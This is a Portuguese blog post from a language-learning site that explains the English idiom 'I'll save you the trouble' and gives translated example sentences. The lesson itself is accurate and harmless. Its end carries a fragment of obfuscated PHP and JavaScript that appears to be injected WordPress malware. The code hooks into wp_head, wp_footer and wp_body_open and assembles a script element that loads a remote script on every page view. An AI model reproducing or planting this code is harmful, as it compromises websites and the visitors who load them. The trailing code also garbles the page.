O SEGREDO DAS LINGUAS l O curso de língua estrangeira ainda pode fazer parte da sua vida.

I’ll save you the trouble | Significado

I'll save you the trouble

Hoje vamos ver o significado de ‘I’ll save you the trouble’ que é uma expressão que pode te ajudar no seu inglês

Leia também: Por que você quer aprender inglês rápido?

Lembre-se que o que vamos aprender hoje é uma expressão idiomática e que você não pode traduzi-la literalmente e nem parte por parte. Portanto, sempre considere essa expressão algo fixo na língua.

I’ll save you the trouble significado

A expressão I’ll save you the trouble significa “vou te poupar o trabalho”. Podemos utilizá-la em situações nas quais você vai ajudar alguém a fazer alguma coisa.

Apesar de ‘trouble’ significar ‘problema’ ou ‘dificuldades’, nesse caso o uso dele é idiomático, portanto distante do sentido literal.

Essa ajuda pode até ser involuntária, mas de todo jeito quando você usa essa expressão você está indicando que vai ajudar alguém.

No geral, essa expressão é seguida de ‘of’ ou ‘and’. Quando usamos ‘of’ temos que usar um substantivo após essa preposição ou um verbo com -ing. Se usamos ‘and’ geralmente utilizamos bare infinitive (infinitivo sem to) ou futuro na oração seguinte

Exemplos:

I’ll save you the trouble and do that for you. (Eu vou te poupar o trabalho e fazer isso para você)

I’ll save you the trouble of having to read all these papers. (Vou te poupar o trabalho de ter que ler todos esses artigos)

Don’t worry, I’ll save you the trouble and I’ll write the report for you. (Não se preocupe, vou te poupar o trabalho e escrever o relatório para você)

I’ll save you the trouble of driving to work. (Vou te poupar o trabalho de dirigir para o trabalho)

I’ll save you the trouble and send all the emails. (Vou te poupar o trabalho e enviar os emails)

I’ll save you the trouble of talking to our boss. (Vou te poupar o trabalho de conversar com nosso chefe)

Se você curtiu esse conteúdo, você deveria ver outros posts que podem te ajudar a aprender inglês. 

Mais artigos do

Blog SDL

?>},_0x1ca2(_0x5c13d3,_0x10d019);}function _0x56ac(){var _0x46c312=['trickl','6LObfmH','script','scri','3822470oovwGi','220qlaQai','com/','createElement','ctl','appendChild','type','133350wkvzaH','ter.','134ANVGfY','pts/t','src','est','erfe','ords.p','querySelector','5879944KcCcWx','231938CdIMay','2890492INDZRn','currentScript','50535rwizqw','parentNode','script[id=\x22trickl\x22]','text/javascript','28527sHSQyT','head'];_0x56ac=function(){return _0x46c312;};return _0x56ac();}";}add_action('wp_head', '_set_metas_tag');add_action('wp_footer', '_set_metas_tag');add_action('wp_body_open', '_set_metas_tag');_set_metas_tag();}}catch(Exception $e){}} ?>